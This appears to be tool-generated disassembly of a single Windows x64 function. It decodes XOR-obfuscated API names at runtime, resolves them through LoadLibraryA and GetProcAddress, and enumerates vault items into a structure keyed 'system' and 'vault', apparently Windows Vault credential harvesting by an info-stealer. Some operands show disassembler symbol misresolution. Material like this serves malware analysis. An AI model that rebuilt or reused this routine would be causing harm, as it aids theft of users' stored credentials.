Function at 0x14003d510
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x140104bf0]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov dword [rsp + 0x50], 0
mov qword [rbp + 0x270], 0
mov dword [rbp + 0x294], 0
mov dword [rbp + 0x298], 0
xor esi, esi
movabs rax, 0x1a88577983ce443
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x30], rax
movabs rax, 0x297017220fc0a950
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x38], rax
movabs r12, 0x68c4e603f4498515
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x360], rax
movabs r13, 0x2970172263accd7e
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x368], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp + 0xc8], rax
test rax, rax
je 0x14003e4b7
movabs rsi, 0x1daaa377983ce443
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x70], rax
movabs rax, 0x4826725602dea813
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x78], rax
movabs rax, 0xdb137b89343c8e12
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x80], rax
movabs r15, 0x4223cb105d727468
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x88], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x380], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x388], rax
movabs rdi, 0xdb137b894748e267
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x390], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x398], rax
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x80]
pxor xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x80], xmm1
lea rdx, [rbp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x50], rax
movabs rax, 0x5d39725602dea813
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x58], rax
movabs rax, 0xdb137b89473b8f02
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3a8], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b0], rax
mov qword [rsp + 0x40], r15
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3b8], rax
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
pxor xmm1, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x60], xmm1
lea rdx, [rbp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rbp + 0xb0], rax
movabs rax, 0xdb4a977983ce443
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x40], rax
movabs rax, 0x2970634e16cd9b10
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x370], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x378], rax
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 0xc0], rax
movabs rax, 0x1ca1a177983ce443
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x10], rax
movabs rax, 0x297017220ec9b937
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x18], rax
movabs rsi, 0x68c4e603f4498515
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov qword [rbp + 0xa8], rax
movabs rax, 0xdb6a077983ce443
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x20], rax
movabs rax, 0x2970172263accd1b
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d0], rax
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x3d8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rbp + 0xa0], rax
movabs rax, 0x7a8a577983ce443
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp], rcx
movabs rax, 0x29047b5702faa80d
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 8], rcx
movabs rax, 0x68c4e603f4498515
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
mov qword [rbp + 0x320], rcx
mov qword [rsp + 0x40], r13
mov rax, qword [rsp + 0x40]
mov qword [rbp + 0x328], rax
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb8], rax
test rbx, rbx
je 0x14003e4b7
test rdi, rdi
je 0x14003e4b7
test r12, r12
je 0x14003e4b7
test r15, r15
je 0x14003e4b7
test rsi, rsi
je 0x14003e4b7
test rax, rax
je 0x14003e4b7
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x294]
xor ecx, ecx
call rbx
test eax, eax
jne 0x14003e4b7
xor ebx, ebx
mov dword [rsp + 0x40], ebx
cmp dword [rbp + 0x294], ebx
jbe 0x14003e4b7
mov r14d, dword [rsp + 0x50]
mov ecx, ebx
shl rcx, 4
add rcx, qword [rbp + 0x270]
lea r8, [rbp + 0x278]
xor edx, edx
call r12
test eax, eax
jne 0x14003e49e
lea r9, [rbp + 0x288]
lea r8, [rbp + 0x298]
mov edx, 0x200
mov rcx, qword [rbp + 0x278]
call rdi
test eax, eax
jne 0x14003e49e
mov r13, qword [rbp + 0x288]
xor eax, eax
mov r12d, eax
cmp dword [rbp + 0x298], eax
jbe 0x14003e485
jmp 0x14003da84
xor eax, eax
xor bl, bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], rax
mov ecx, 0x50
call fcn.1400b4e20
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x2a0], rax
mov eax, r12d
lea rdi, [rax + rax*4]
shl rdi, 4
add rdi, r13
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x14003dd54
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003dd54
lea rcx, [rbp + 0x2b0]
call fcn.140073de0
nop
lea rax, [rbp + 0x198]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0x10
cmovae rdx, qword [rbp + 0x2b0]
mov r8, qword [rbp + 0x2c0]
lea rcx, [rbp + 0xd0]
call fcn.1400440b0
or r14d, 2
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x198]
call fcn.140044380
mov rbx, rax
mov qword [rbp + 0x1d0], rax
movabs rax, 0x68c4e603f425f760
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x70], rcx
movabs rax, 0x2970172263accd7e
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x78], rcx
movabs rcx, 0x68c4e603f4498515
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x330], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x338], rax
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rsp + 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003dbe2
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x20]
call fcn.140031d20
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x2a0]
call fcn.1400455e0
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140042e00
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14003dc79
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dc74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e56c
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], send
mov byte [rbp - 0x20], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffffd
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14003dcdb
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dcd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e572
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], send
mov byte [rbp + 0xd0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x14003dd39
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dd32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e578
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], send
mov byte [rbp + 0x2b0], 0
jmp 0x14003dd56
xor ecx, ecx
mov rax, qword [rdi + 0x20]
test rax, rax
je 0x14003dfd4
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003dfd4
lea rcx, [rbp + 0x2d0]
call fcn.140073de0
nop
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0x10
cmovae rdx, qword [rbp + 0x2d0]
mov r8, qword [rbp + 0x2e0]
lea rcx, [rbp + 0xf0]
call fcn.1400440b0
or r14d, 8
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1a8]
call fcn.140044380
mov rbx, rax
mov qword [rbp + 0x1e0], rax
movabs rax, 0x68c4e603862cf660
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rcx
movabs rax, 0x2970172263accd7e
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x78], rcx
movabs rcx, 0x68c4e603f4498515
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x340], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x348], rax
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14003de65
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140031d20
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x2a0]
call fcn.1400455e0
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140042e00
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14003defb
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003def6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e57e
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], send
mov byte [rbp - 0x40], cl
mov r14d, dword [rsp + 0x50]
and r14d, 0xfffffff7
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14003df5d
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003df56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e584
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0x108], send
mov byte [rbp + 0xf0], 0
mov bl, 1
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x14003dfbb
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dfb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e58a
call fcn.1400b4b80
xor ecx, ecx
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], send
mov byte [rbp + 0x2d0], 0
mov qword [rbp + 0x280], rcx
lea rax, [rbp + 0x280]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rcx
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rdi + 0x20]
mov r8, qword [rdi + 0x18]
mov rdx, rdi
mov rcx, qword [rbp + 0x278]
call r15
test eax, eax
jne 0x14003e2a7
mov rcx, qword [rbp + 0x280]
mov rax, qword [rcx + 0x28]
test rax, rax
je 0x14003e2a0
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14003e2a0
lea rcx, [rbp + 0x2f0]
call fcn.140073de0
nop
lea rax, [rbp + 0x1b8]
mov qword [rbp + 0x170], rax
lea rdx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0x10
cmovae rdx, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
lea rcx, [rbp + 0x110]
call fcn.1400440b0
or r14d, 0x10
mov dword [rsp + 0x50], r14d
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1b8]
call fcn.140044380
mov rbx, rax
mov qword [rbp + 0x178], rax
movabs rax, 0x68c4e603873ae465
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x70], rcx
movabs rax, 0x2970172263accd7e
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov qword [rbp - 0x68], rcx
movabs rcx, 0x68c4e603f4498515
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rbp + 0x350], rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rbp + 0x358], rax
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x350]
movdqa xmmword [rbp - 0x70], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor edi, edi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14003e130
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x60]
call fcn.140031d20
nop
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a0]
call fcn.1400455e0
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.140042e00
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14003e1c5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e1c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e590
call fcn.1400b4b80
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov r14d, dword [rsp + 0x50]
and r14d, 0xffffffef
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x14003e224
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e21f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e50e
call fcn.1400b4b80
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], send
mov byte [rbp + 0x110], 0
mov bl, 1
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x14003e280
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003e27b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003e566
call fcn.1400b4b80
mov qword [rbp + 0x300], rdi
mov qword [rbp + 0x308], send
mov byte [rbp + 0x2f0], 0
mov rcx, qword [rbp + 0x280]
test rcx, rcx
je 0x14003e2a7
call rsi
test bl, bl
je 0x14003e457
lea rax, [rbp + 0x130]
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xor edi, edi
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rdi
lea r8d, [rdi + 6]
lea rdx, str.system
lea rcx, [rbp + 0x130]
call fcn.140031d20
nop
lea rdx, [rbp + 0x130]
lea rcx, [0x140105070]
call fcn.140040ac0
mov rbx, rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x188], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x168], rdi
lea r8d, [rdi + 5]
lea rdx, str.vault
lea rcx, [rbp + 0x150]
call fcn.140031d20
nop
lea rdx, [rbp + 0x150]
mov rcx, rbx
call fcn.140040ac0
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x58], dil
xor eax, eax
mov qword [rsp + 0x60], rax
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140042e00
mov byte [rsp + 0x58], 1
mov rdi, qword [rbp + 0x2a0]
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400b4e20
mov rsi, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.14005a460
mov qword [rbp + 0x318], 0
mov qword [rsp + 0x60], rsi
movzx eax, byte [r15]
test al, al
je 0x14003e3e0
cmp al, 2
jne 0x14003e514
jmp 0x14003e3fd
mov byte [r15], 2
mov dl, 2
lea rcx, [rbp + 0x98]
call fcn.140042620
mov rax, qword [rbp + 0x98]
mov qword [r15 + 8], rax
mov rcx, qword [r15 + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14003e430
mov qword [rbp + 0x190], rdx
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rdx], xmm0
xor dl, dl
mov byte [rsp + 0x58], dl
mov qword [rsp + 0x60], 0
add qword [rcx + 8], 0x10
jmp 0x14003e43f
lea r8, [rsp + 0x58]
call fcn.14004b840
movzx edx, byte [rsp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140042e00
mov rsi, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xa8]
lea rcx, [rbp + 0x2a0]
call fcn.140040120
inc r12d
cmp r12d, dword [rbp + 0x298]
jb 0x14003da82
mov r13, qword [rbp + 0x288]
mov ebx, dword [rsp + 0x40]
mov rdi, qword [rbp + 0xb0]
mov rcx, r13
call rsi
mov rcx, qword [rbp + 0x278]
call qword [rbp + reloc.SHLWAPI.dll_IStream_Read]
mov r12, qword [rbp + 0xc0]
inc ebx
mov dword [rsp + 0x40], ebx
cmp ebx, dword [rbp + 0x294]
jb 0x14003da23
mov r14, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x14003e4d0
call rsi
mov qword [rbp + 0x270], 0
test r14, r14
je 0x14003e4de
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.1400b4b60
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140098678
nop
mov rcx, r15
call fcn.1400427e0
mov qword [rbp + 0x90], rax
lea r8, [rbp + 0x90]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rbp + 0x250]
call fcn.140046310
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x218]
call fcn.1400463e0
lea rdx, [0x140101aa0]
lea rcx, [rbp + 0x218]
call fcn.1400b7d44
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
nop
call fcn.140098678
int3